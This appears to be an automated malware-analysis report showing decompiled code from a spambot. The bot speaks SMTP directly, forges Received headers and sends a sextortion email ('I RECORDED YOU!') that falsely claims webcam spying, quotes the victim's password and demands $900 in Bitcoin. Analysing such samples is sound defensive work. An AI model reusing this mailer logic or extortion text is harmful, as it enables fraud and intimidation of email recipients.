                                                                                                                                                                                                                                                                                                                                                      • String ID: DATA
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 317823648-550793329
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 60b38c11e0c46aa5eeef15cab131f65f6e5f0a8d99d35576353ac6cafbc5bb33
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 925d94a8dcc867b7b56b15969fbb7ea96f88873655bb12b7e46814c50242da80
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 60b38c11e0c46aa5eeef15cab131f65f6e5f0a8d99d35576353ac6cafbc5bb33
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D501B8B1D00338EBCF12DBA4EC4ABEEB3B8BB18305F100658E515A6280E3795951CB21
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 003222D9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 92%
                                                                                                                                                                                                                                                                                                                                                      			E003222D9(void* __eflags) {
				intOrPtr _t175;
				char* _t176;
				void* _t197;
				void* _t199;
				void* _t200;
				void* _t202;

				L0:
				while(1) {
					L0:
					E00321120( *((intOrPtr*)(_t197 - 0x1c)), "QUIT", 0xffffffff); // executed
					_t200 = _t199 + 0xc;
					 *(_t197 - 0x20) = 8;
					L48:
					while( *(_t197 - 0x20) != 0 &&  *(_t197 - 0x20) != 8) {
						_t175 = E00321160( *((intOrPtr*)(_t197 - 0x1c)), _t197 - 0x490, 0x400); // executed
						_t202 = _t200 + 0xc;
						 *((intOrPtr*)(_t197 - 0x90)) = _t175;
						if( *((intOrPtr*)(_t197 - 0x90)) != 0) {
							L5:
							 *((char*)(_t197 +  *((intOrPtr*)(_t197 - 0x90)) - 0x490)) = 0;
							_t176 = E003211C0(_t197 - 0x490);
							_t200 = _t202 + 4;
							__eflags = _t176;
							if(_t176 != 0) {
								L7:
								 *(_t197 - 0x758) =  *(_t197 - 0x20);
								 *(_t197 - 0x758) =  *(_t197 - 0x758) - 1;
								__eflags =  *(_t197 - 0x758) - 6;
								if(__eflags > 0) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t197 - 0x758) * 4 +  &M00322324))) {
									case 0:
										L9:
										_push("ESMTP");
										_t179 = StrStrA(_t197 - 0x490);
										__eflags = _t179;
										if(_t179 == 0) {
											_t180 = wsprintfA(_t197 - 0x490, "HELO %s\r\n", "[102.129.143.78]");
											_t203 = _t200 + 0xc;
											 *(_t197 - 0x494) = _t180;
										} else {
											_t183 = wsprintfA(_t197 - 0x490, "EHLO %s\r\n", "[102.129.143.78]");
											_t203 = _t200 + 0xc;
											 *(_t197 - 0x494) = _t183;
										}
										_t182 = E00321120( *((intOrPtr*)(_t197 - 0x1c)), _t197 - 0x490,  *(_t197 - 0x494)); // executed
										_t200 = _t203 + 0xc;
										__eflags = _t182;
										if(_t182 != 0) {
											 *(_t197 - 0x20) = 3;
										} else {
											 *(_t197 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										L16:
										__eax = __ebp - 0x4c8;
										__eax = E003218D0(__ecx, __eflags, __ebp - 0x4c8); // executed
										__ecx = __ebp - 0x88;
										__eax = wsprintfA(__ebp - 0x88, "<JohnBlue@%s>", __eax);
										__esp = __esp + 0xc;
										__eax = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "MAIL FROM: %s\r\n", __ebp - 0x88);
										__esp = __esp + 0xc;
										 *(__ebp - 0x4cc) = __eax;
										__ecx =  *(__ebp - 0x4cc);
										__eax =  *(__ebp - 0x1c);
										__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x4cc)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 4;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 3:
										L19:
										__ecx =  *(__ebp + 8);
										__eax = wsprintfA(__ebp - 0x490, "RCPT TO: <%s>\r\n",  *(__ebp + 8));
										__esp = __esp + 0xc;
										 *(__ebp - 0x4d0) = __eax;
										__eax =  *(__ebp - 0x4d0);
										__ecx = __ebp - 0x490;
										__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x4d0)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 5;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 4:
										L22:
										__eax =  *(__ebp - 0x1c);
										__eax = E00321120( *(__ebp - 0x1c), "DATA\r\n", 0xffffffff); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 6;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 5:
										L25:
										__ecx = __ebp - 0x658;
										E00321320(__ebp - 0x658, 5, __ebp - 0x658) = wsprintfA(__ebp - 0x538, "%s.com", __eax);
										__esp = __esp + 0xc;
										__ebp - 0x750 = E00321490(0, __ebp - 0x750, 1); // executed
										Sleep(0x7d0); // executed
										__ecx = __ebp - 0x6d0;
										__eax = E00321490(0, __ebp - 0x6d0, 0); // executed
										__eax = __ebp - 0x538;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t59 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t63 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t67 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xd2;
										_t71 = __eax % 0xd2;
										E00321390(0xd2, 7, __ebp - 0x6e8) = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", __ebp - 0x490, _t71 + 1, _t67 + 1, _t63 + 1, _t59 + 1, __ebp - 0x538, __ebp - 0x6d0);
										__esp = __esp + 0x24;
										 *(__ebp - 0x754) = __eax;
										__ecx =  *(__ebp - 0x754);
										__eax =  *(__ebp - 0x1c);
										__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											__ecx = __ebp - 0x750;
											E00321320(__ecx, 3, __ebp - 0x664) = __ebp - 0x6dc;
											__eax = E00321320(__ecx, 5, __ebp - 0x6dc);
											__ecx = __ebp - 0x490;
											__eax = wsprintfA(__ebp - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax, __ebp - 0x490);
											__esp = __esp + 0x14;
											 *(__ebp - 0x754) = __eax;
											__eax = __ebp - 0x490;
											__ecx =  *(__ebp - 0x1c);
											__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
											__eflags = __eax;
											if(__eax != 0) {
												__eax = __ebp - 0x490;
												__eax = wsprintfA(__ebp - 0x490, "From: John Blue %s\r\n", __ebp - 0x88);
												__esp = __esp + 0xc;
												 *(__ebp - 0x754) = __eax;
												__ecx =  *(__ebp - 0x754);
												__eax =  *(__ebp - 0x1c);
												__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
												__eflags = __eax;
												if(__eax != 0) {
													__ecx =  *(__ebp + 8);
													__eax = wsprintfA(__ebp - 0x490, "To: %s\r\n",  *(__ebp + 8));
													__esp = __esp + 0xc;
													 *(__ebp - 0x754) = __eax;
													__eax =  *(__ebp - 0x754);
													__ecx = __ebp - 0x490;
													__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
													__eflags = __eax;
													if(__eax != 0) {
														__eax = __ebp - 0x490;
														__eax = wsprintfA(__ebp - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
														__esp = __esp + 0xc;
														 *(__ebp - 0x754) = __eax;
														__ecx =  *(__ebp - 0x754);
														__eax =  *(__ebp - 0x1c);
														__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
														__eflags = __eax;
														if(__eax != 0) {
															__ecx = __ebp - 0x6d0;
															__eax = wsprintfA(__ebp - 0x490, "Date: %s\r\n", __ebp - 0x6d0);
															__esp = __esp + 0xc;
															 *(__ebp - 0x754) = __eax;
															__eax =  *(__ebp - 0x754);
															__ecx = __ebp - 0x490;
															__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
															__eflags = __eax;
															if(__eax != 0) {
																__eax = __ebp - 0x538;
																__ecx = __ebp - 0x664;
																E00321320(__ecx, 6, __ecx) = E00321320(__ecx, 6, __ebp - 0x6dc);
																__eax = __ebp - 0x490;
																__eax = wsprintfA(__ebp - 0x490, "Message-ID: <%s.%s@%s>\r\n", __ebp - 0x490, __ebp - 0x490, __ebp - 0x538);
																__esp = __esp + 0x14;
																 *(__ebp - 0x754) = __eax;
																__ecx =  *(__ebp - 0x754);
																__eax =  *(__ebp - 0x1c);
																__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x754)); // executed
																__eflags = __eax;
																if(__eax != 0) {
																	__ecx =  *(__ebp - 0x1c);
																	__eax = E00321120( *(__ebp - 0x1c), "Mime-Version: 1.0\r\n", 0xffffffff); // executed
																	__eflags = __eax;
																	if(__eax != 0) {
																		__eax = E00321120( *(__ebp - 0x1c), "Content-type: text/plain;\r\n\r\n", 0xffffffff); // executed
																		__eflags = __eax;
																		if(__eax != 0) {
																			__ebp - 0x640 = memset(__ebp - 0x640, 0, 0x104);
																			__ecx = __ebp - 0x640;
																			strcpy(__ebp - 0x640, "Hi, today there are sadly some bad news for you.\r\n\r\n") = strcat(__ebp - 0x640, "Your device was infected with my private malware, your browser wasn\'t updated / patched, in such case it\'s enough to just visit some website where my iframe is placed to get automatically infected, if you want to find out more, Google: Drive-by exploit.\r\n\r\n");
																			__ebp - 0x640 = strcat(__ebp - 0x640, "My malware gave me full access to all your accounts, full control over your device and it also was possible to spy on you over your cam.\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			strcat(__ebp - 0x640, "If you think this is some bad joke, no, I know your password: ") = __ebp - 0x640;
																			__eax = strcat(__ebp - 0x640,  *(__ebp + 0xc));
																			__ecx = __ebp - 0x640;
																			__ebp - 0x640 = strcat(__ebp - 0x640, "After that I removed my malware to not leave any traces and this email was sent from some hacked server.\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			__ebp - 0x640 = strcat(__ebp - 0x640, "The only way to stop me, is to pay exactly 900$ in Bitcoin (BTC).\r\n\r\n");
																			__ecx = __ebp - 0x640;
																			strcat(__ebp - 0x640, "It\'s a very good offer, compared to all that horrible shit that will happen if I publish everything.\r\n\r\n") =  *(__ebp - 0x1c);
																			__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x640, 0xffffffff); // executed
																			__eflags = __eax;
																			if(__eax != 0) {
																				__ecx = __ebp - 0x640;
																				memset(__ebp - 0x640, 0, 0x104) = strcpy(__ebp - 0x640, "You can easily buy Bitcoin (BTC) here: www.paxful.com , www.coingate.com , www.coinbase.com , or check for Bitcoin (BTC) ATM near you, or Google for other exchanger.\r\n\r\n");
																				__ebp - 0x640 = strcat(__ebp - 0x640, "You can send the Bitcoin (BTC) directly to my wallet, or install the free software: Atomicwallet, or: Exodus wallet, then receive and send to mine.\r\n\r\n");
																				__ecx = __ebp - 0x640;
																				__ebp - 0x640 = strcat(__ebp - 0x640, "I give you 3 days time to pay.\r\n\r\n");
																				__ecx = __ebp - 0x640;
																				__ebp - 0x640 = strcat(__ebp - 0x640, "ClientMailID: ");
																				__ecx = __ebp - 0x64c;
																				E00321320(__ebp - 0x64c, 7, __ebp - 0x64c) = strcat(__ebp - 0x640, __eax);
																				__ebp - 0x640 = strcat(__ebp - 0x640, "\r\n.\r\n");
																				__ecx = __ebp - 0x640;
																				__eax = E00321120( *(__ebp - 0x1c), __ebp - 0x640, 0xffffffff); // executed
																				__eflags = __eax;
																				if(__eax != 0) {
																					 *(__ebp - 0x20) = 7;
																				} else {
																					 *(__ebp - 0x20) = 0;
																				}
																			} else {
																				 *(__ebp - 0x20) = 0;
																			}
																		} else {
																			 *(__ebp - 0x20) = 0;
																		}
																	} else {
																		 *(__ebp - 0x20) = 0;
																	}
																} else {
																	 *(__ebp - 0x20) = 0;
																}
															} else {
																 *(__ebp - 0x20) = 0;
															}
														} else {
															 *(__ebp - 0x20) = 0;
														}
													} else {
														 *(__ebp - 0x20) = 0;
													}
												} else {
													 *(__ebp - 0x20) = 0;
												}
											} else {
												 *(__ebp - 0x20) = 0;
											}
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 6:
										goto L0;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t197 - 8) = 0 |  *(_t197 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t197 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t197 - 0x1c)));
					return  *(_t197 - 8);
				}
			}









                                                                                                                                                                                                                                                                                                                                                      0x003222d9
                                                                                                                                                                                                                                                                                                                                                      0x003222d9
                                                                                                                                                                                                                                                                                                                                                      0x003222d9
                                                                                                                                                                                                                                                                                                                                                      0x003222e4
                                                                                                                                                                                                                                                                                                                                                      0x003222e9
                                                                                                                                                                                                                                                                                                                                                      0x003222ec
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x003222f3
                                                                                                                                                                                                                                                                                                                                                      0x00321b44
                                                                                                                                                                                                                                                                                                                                                      0x00321b49
                                                                                                                                                                                                                                                                                                                                                      0x00321b4c
                                                                                                                                                                                                                                                                                                                                                      0x00321b59
                                                                                                                                                                                                                                                                                                                                                      0x00321b60
                                                                                                                                                                                                                                                                                                                                                      0x00321b66
                                                                                                                                                                                                                                                                                                                                                      0x00321b75
                                                                                                                                                                                                                                                                                                                                                      0x00321b7a
                                                                                                                                                                                                                                                                                                                                                      0x00321b7d
                                                                                                                                                                                                                                                                                                                                                      0x00321b7f
                                                                                                                                                                                                                                                                                                                                                      0x00321b86
                                                                                                                                                                                                                                                                                                                                                      0x00321b89
                                                                                                                                                                                                                                                                                                                                                      0x00321b98
                                                                                                                                                                                                                                                                                                                                                      0x00321b9e
                                                                                                                                                                                                                                                                                                                                                      0x00321ba5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321bab
                                                                                                                                                                                                                                                                                                                                                      0x00321bb1
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321bb8
                                                                                                                                                                                                                                                                                                                                                      0x00321bb8
                                                                                                                                                                                                                                                                                                                                                      0x00321bc4
                                                                                                                                                                                                                                                                                                                                                      0x00321bca
                                                                                                                                                                                                                                                                                                                                                      0x00321bcc
                                                                                                                                                                                                                                                                                                                                                      0x00321c01
                                                                                                                                                                                                                                                                                                                                                      0x00321c07
                                                                                                                                                                                                                                                                                                                                                      0x00321c0a
                                                                                                                                                                                                                                                                                                                                                      0x00321bce
                                                                                                                                                                                                                                                                                                                                                      0x00321bdf
                                                                                                                                                                                                                                                                                                                                                      0x00321be5
                                                                                                                                                                                                                                                                                                                                                      0x00321be8
                                                                                                                                                                                                                                                                                                                                                      0x00321be8
                                                                                                                                                                                                                                                                                                                                                      0x00321c22
                                                                                                                                                                                                                                                                                                                                                      0x00321c27
                                                                                                                                                                                                                                                                                                                                                      0x00321c2a
                                                                                                                                                                                                                                                                                                                                                      0x00321c2c
                                                                                                                                                                                                                                                                                                                                                      0x00321c3a
                                                                                                                                                                                                                                                                                                                                                      0x00321c2e
                                                                                                                                                                                                                                                                                                                                                      0x00321c2e
                                                                                                                                                                                                                                                                                                                                                      0x00321c2e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321c46
                                                                                                                                                                                                                                                                                                                                                      0x00321c46
                                                                                                                                                                                                                                                                                                                                                      0x00321c4d
                                                                                                                                                                                                                                                                                                                                                      0x00321c5b
                                                                                                                                                                                                                                                                                                                                                      0x00321c62
                                                                                                                                                                                                                                                                                                                                                      0x00321c68
                                                                                                                                                                                                                                                                                                                                                      0x00321c77
                                                                                                                                                                                                                                                                                                                                                      0x00321c7e
                                                                                                                                                                                                                                                                                                                                                      0x00321c84
                                                                                                                                                                                                                                                                                                                                                      0x00321c87
                                                                                                                                                                                                                                                                                                                                                      0x00321c8d
                                                                                                                                                                                                                                                                                                                                                      0x00321c9b
                                                                                                                                                                                                                                                                                                                                                      0x00321c9f
                                                                                                                                                                                                                                                                                                                                                      0x00321ca7
                                                                                                                                                                                                                                                                                                                                                      0x00321ca9
                                                                                                                                                                                                                                                                                                                                                      0x00321cb7
                                                                                                                                                                                                                                                                                                                                                      0x00321cab
                                                                                                                                                                                                                                                                                                                                                      0x00321cab
                                                                                                                                                                                                                                                                                                                                                      0x00321cab
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321cc3
                                                                                                                                                                                                                                                                                                                                                      0x00321cc3
                                                                                                                                                                                                                                                                                                                                                      0x00321cd3
                                                                                                                                                                                                                                                                                                                                                      0x00321cd9
                                                                                                                                                                                                                                                                                                                                                      0x00321cdc
                                                                                                                                                                                                                                                                                                                                                      0x00321ce2
                                                                                                                                                                                                                                                                                                                                                      0x00321ce9
                                                                                                                                                                                                                                                                                                                                                      0x00321cf4
                                                                                                                                                                                                                                                                                                                                                      0x00321cfc
                                                                                                                                                                                                                                                                                                                                                      0x00321cfe
                                                                                                                                                                                                                                                                                                                                                      0x00321d0c
                                                                                                                                                                                                                                                                                                                                                      0x00321d00
                                                                                                                                                                                                                                                                                                                                                      0x00321d00
                                                                                                                                                                                                                                                                                                                                                      0x00321d00
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321d18
                                                                                                                                                                                                                                                                                                                                                      0x00321d1f
                                                                                                                                                                                                                                                                                                                                                      0x00321d23
                                                                                                                                                                                                                                                                                                                                                      0x00321d2b
                                                                                                                                                                                                                                                                                                                                                      0x00321d2d
                                                                                                                                                                                                                                                                                                                                                      0x00321d3b
                                                                                                                                                                                                                                                                                                                                                      0x00321d2f
                                                                                                                                                                                                                                                                                                                                                      0x00321d2f
                                                                                                                                                                                                                                                                                                                                                      0x00321d2f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321d47
                                                                                                                                                                                                                                                                                                                                                      0x00321d47
                                                                                                                                                                                                                                                                                                                                                      0x00321d65
                                                                                                                                                                                                                                                                                                                                                      0x00321d6b
                                                                                                                                                                                                                                                                                                                                                      0x00321d79
                                                                                                                                                                                                                                                                                                                                                      0x00321d86
                                                                                                                                                                                                                                                                                                                                                      0x00321d8e
                                                                                                                                                                                                                                                                                                                                                      0x00321d97
                                                                                                                                                                                                                                                                                                                                                      0x00321da6
                                                                                                                                                                                                                                                                                                                                                      0x00321dad
                                                                                                                                                                                                                                                                                                                                                      0x00321db2
                                                                                                                                                                                                                                                                                                                                                      0x00321db3
                                                                                                                                                                                                                                                                                                                                                      0x00321db8
                                                                                                                                                                                                                                                                                                                                                      0x00321db8
                                                                                                                                                                                                                                                                                                                                                      0x00321dbe
                                                                                                                                                                                                                                                                                                                                                      0x00321dc3
                                                                                                                                                                                                                                                                                                                                                      0x00321dc4
                                                                                                                                                                                                                                                                                                                                                      0x00321dc9
                                                                                                                                                                                                                                                                                                                                                      0x00321dc9
                                                                                                                                                                                                                                                                                                                                                      0x00321dcf
                                                                                                                                                                                                                                                                                                                                                      0x00321dd4
                                                                                                                                                                                                                                                                                                                                                      0x00321dd5
                                                                                                                                                                                                                                                                                                                                                      0x00321dda
                                                                                                                                                                                                                                                                                                                                                      0x00321dda
                                                                                                                                                                                                                                                                                                                                                      0x00321de0
                                                                                                                                                                                                                                                                                                                                                      0x00321de5
                                                                                                                                                                                                                                                                                                                                                      0x00321de6
                                                                                                                                                                                                                                                                                                                                                      0x00321deb
                                                                                                                                                                                                                                                                                                                                                      0x00321e08
                                                                                                                                                                                                                                                                                                                                                      0x00321e0f
                                                                                                                                                                                                                                                                                                                                                      0x00321e15
                                                                                                                                                                                                                                                                                                                                                      0x00321e18
                                                                                                                                                                                                                                                                                                                                                      0x00321e1e
                                                                                                                                                                                                                                                                                                                                                      0x00321e2c
                                                                                                                                                                                                                                                                                                                                                      0x00321e30
                                                                                                                                                                                                                                                                                                                                                      0x00321e38
                                                                                                                                                                                                                                                                                                                                                      0x00321e3a
                                                                                                                                                                                                                                                                                                                                                      0x00321e48
                                                                                                                                                                                                                                                                                                                                                      0x00321e61
                                                                                                                                                                                                                                                                                                                                                      0x00321e6a
                                                                                                                                                                                                                                                                                                                                                      0x00321e78
                                                                                                                                                                                                                                                                                                                                                      0x00321e7f
                                                                                                                                                                                                                                                                                                                                                      0x00321e85
                                                                                                                                                                                                                                                                                                                                                      0x00321e88
                                                                                                                                                                                                                                                                                                                                                      0x00321e95
                                                                                                                                                                                                                                                                                                                                                      0x00321e9c
                                                                                                                                                                                                                                                                                                                                                      0x00321ea0
                                                                                                                                                                                                                                                                                                                                                      0x00321ea8
                                                                                                                                                                                                                                                                                                                                                      0x00321eaa
                                                                                                                                                                                                                                                                                                                                                      0x00321ec4
                                                                                                                                                                                                                                                                                                                                                      0x00321ecb
                                                                                                                                                                                                                                                                                                                                                      0x00321ed1
                                                                                                                                                                                                                                                                                                                                                      0x00321ed4
                                                                                                                                                                                                                                                                                                                                                      0x00321eda
                                                                                                                                                                                                                                                                                                                                                      0x00321ee8
                                                                                                                                                                                                                                                                                                                                                      0x00321eec
                                                                                                                                                                                                                                                                                                                                                      0x00321ef4
                                                                                                                                                                                                                                                                                                                                                      0x00321ef6
                                                                                                                                                                                                                                                                                                                                                      0x00321f04
                                                                                                                                                                                                                                                                                                                                                      0x00321f14
                                                                                                                                                                                                                                                                                                                                                      0x00321f1a
                                                                                                                                                                                                                                                                                                                                                      0x00321f1d
                                                                                                                                                                                                                                                                                                                                                      0x00321f23
                                                                                                                                                                                                                                                                                                                                                      0x00321f2a
                                                                                                                                                                                                                                                                                                                                                      0x00321f35
                                                                                                                                                                                                                                                                                                                                                      0x00321f3d
                                                                                                                                                                                                                                                                                                                                                      0x00321f3f
                                                                                                                                                                                                                                                                                                                                                      0x00321f57
                                                                                                                                                                                                                                                                                                                                                      0x00321f5e
                                                                                                                                                                                                                                                                                                                                                      0x00321f64
                                                                                                                                                                                                                                                                                                                                                      0x00321f67
                                                                                                                                                                                                                                                                                                                                                      0x00321f6d
                                                                                                                                                                                                                                                                                                                                                      0x00321f7b
                                                                                                                                                                                                                                                                                                                                                      0x00321f7f
                                                                                                                                                                                                                                                                                                                                                      0x00321f87
                                                                                                                                                                                                                                                                                                                                                      0x00321f89
                                                                                                                                                                                                                                                                                                                                                      0x00321f97
                                                                                                                                                                                                                                                                                                                                                      0x00321faa
                                                                                                                                                                                                                                                                                                                                                      0x00321fb0
                                                                                                                                                                                                                                                                                                                                                      0x00321fb3
                                                                                                                                                                                                                                                                                                                                                      0x00321fb9
                                                                                                                                                                                                                                                                                                                                                      0x00321fc0
                                                                                                                                                                                                                                                                                                                                                      0x00321fcb
                                                                                                                                                                                                                                                                                                                                                      0x00321fd3
                                                                                                                                                                                                                                                                                                                                                      0x00321fd5
                                                                                                                                                                                                                                                                                                                                                      0x00321fe3
                                                                                                                                                                                                                                                                                                                                                      0x00321fea
                                                                                                                                                                                                                                                                                                                                                      0x00322005
                                                                                                                                                                                                                                                                                                                                                      0x00322013
                                                                                                                                                                                                                                                                                                                                                      0x0032201a
                                                                                                                                                                                                                                                                                                                                                      0x00322020
                                                                                                                                                                                                                                                                                                                                                      0x00322023
                                                                                                                                                                                                                                                                                                                                                      0x00322029
                                                                                                                                                                                                                                                                                                                                                      0x00322037
                                                                                                                                                                                                                                                                                                                                                      0x0032203b
                                                                                                                                                                                                                                                                                                                                                      0x00322043
                                                                                                                                                                                                                                                                                                                                                      0x00322045
                                                                                                                                                                                                                                                                                                                                                      0x0032205a
                                                                                                                                                                                                                                                                                                                                                      0x0032205e
                                                                                                                                                                                                                                                                                                                                                      0x00322066
                                                                                                                                                                                                                                                                                                                                                      0x00322068
                                                                                                                                                                                                                                                                                                                                                      0x00322081
                                                                                                                                                                                                                                                                                                                                                      0x00322089
                                                                                                                                                                                                                                                                                                                                                      0x0032208b
                                                                                                                                                                                                                                                                                                                                                      0x003220a7
                                                                                                                                                                                                                                                                                                                                                      0x003220b4
                                                                                                                                                                                                                                                                                                                                                      0x003220cf
                                                                                                                                                                                                                                                                                                                                                      0x003220e3
                                                                                                                                                                                                                                                                                                                                                      0x003220f0
                                                                                                                                                                                                                                                                                                                                                      0x00322103
                                                                                                                                                                                                                                                                                                                                                      0x0032210a
                                                                                                                                                                                                                                                                                                                                                      0x00322117
                                                                                                                                                                                                                                                                                                                                                      0x00322146
                                                                                                                                                                                                                                                                                                                                                      0x00322153
                                                                                                                                                                                                                                                                                                                                                      0x00322182
                                                                                                                                                                                                                                                                                                                                                      0x0032218f
                                                                                                                                                                                                                                                                                                                                                      0x003221a7
                                                                                                                                                                                                                                                                                                                                                      0x003221ab
                                                                                                                                                                                                                                                                                                                                                      0x003221b3
                                                                                                                                                                                                                                                                                                                                                      0x003221b5
                                                                                                                                                                                                                                                                                                                                                      0x003221ca
                                                                                                                                                                                                                                                                                                                                                      0x003221e5
                                                                                                                                                                                                                                                                                                                                                      0x003221f9
                                                                                                                                                                                                                                                                                                                                                      0x00322206
                                                                                                                                                                                                                                                                                                                                                      0x00322235
                                                                                                                                                                                                                                                                                                                                                      0x00322242
                                                                                                                                                                                                                                                                                                                                                      0x00322271
                                                                                                                                                                                                                                                                                                                                                      0x00322279
                                                                                                                                                                                                                                                                                                                                                      0x00322292
                                                                                                                                                                                                                                                                                                                                                      0x003222a6
                                                                                                                                                                                                                                                                                                                                                      0x003222b0
                                                                                                                                                                                                                                                                                                                                                      0x003222bb
                                                                                                                                                                                                                                                                                                                                                      0x003222c3
                                                                                                                                                                                                                                                                                                                                                      0x003222c5
                                                                                                                                                                                                                                                                                                                                                      0x003222d0
                                                                                                                                                                                                                                                                                                                                                      0x003222c7
                                                                                                                                                                                                                                                                                                                                                      0x003222c7
                                                                                                                                                                                                                                                                                                                                                      0x003222c7
                                                                                                                                                                                                                                                                                                                                                      0x003221b7
                                                                                                                                                                                                                                                                                                                                                      0x003221b7
                                                                                                                                                                                                                                                                                                                                                      0x003221b7
                                                                                                                                                                                                                                                                                                                                                      0x0032208d
                                                                                                                                                                                                                                                                                                                                                      0x0032208d
                                                                                                                                                                                                                                                                                                                                                      0x0032208d
                                                                                                                                                                                                                                                                                                                                                      0x0032206a
                                                                                                                                                                                                                                                                                                                                                      0x0032206a
                                                                                                                                                                                                                                                                                                                                                      0x0032206a
                                                                                                                                                                                                                                                                                                                                                      0x00322047
                                                                                                                                                                                                                                                                                                                                                      0x00322047
                                                                                                                                                                                                                                                                                                                                                      0x00322047
                                                                                                                                                                                                                                                                                                                                                      0x00321fd7
                                                                                                                                                                                                                                                                                                                                                      0x00321fd7
                                                                                                                                                                                                                                                                                                                                                      0x00321fd7
                                                                                                                                                                                                                                                                                                                                                      0x00321f8b
                                                                                                                                                                                                                                                                                                                                                      0x00321f8b
                                                                                                                                                                                                                                                                                                                                                      0x00321f8b
                                                                                                                                                                                                                                                                                                                                                      0x00321f41
                                                                                                                                                                                                                                                                                                                                                      0x00321f41
                                                                                                                                                                                                                                                                                                                                                      0x00321f41
                                                                                                                                                                                                                                                                                                                                                      0x00321ef8
                                                                                                                                                                                                                                                                                                                                                      0x00321ef8
                                                                                                                                                                                                                                                                                                                                                      0x00321ef8
                                                                                                                                                                                                                                                                                                                                                      0x00321eac
                                                                                                                                                                                                                                                                                                                                                      0x00321eac
                                                                                                                                                                                                                                                                                                                                                      0x00321eac
                                                                                                                                                                                                                                                                                                                                                      0x00321e3c
                                                                                                                                                                                                                                                                                                                                                      0x00321e3c
                                                                                                                                                                                                                                                                                                                                                      0x00321e3c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321b81
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321b81
                                                                                                                                                                                                                                                                                                                                                      0x00321b5b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00321b5b
                                                                                                                                                                                                                                                                                                                                                      0x00321b59
                                                                                                                                                                                                                                                                                                                                                      0x003222f8
                                                                                                                                                                                                                                                                                                                                                      0x00322301
                                                                                                                                                                                                                                                                                                                                                      0x0032230a
                                                                                                                                                                                                                                                                                                                                                      0x00322314
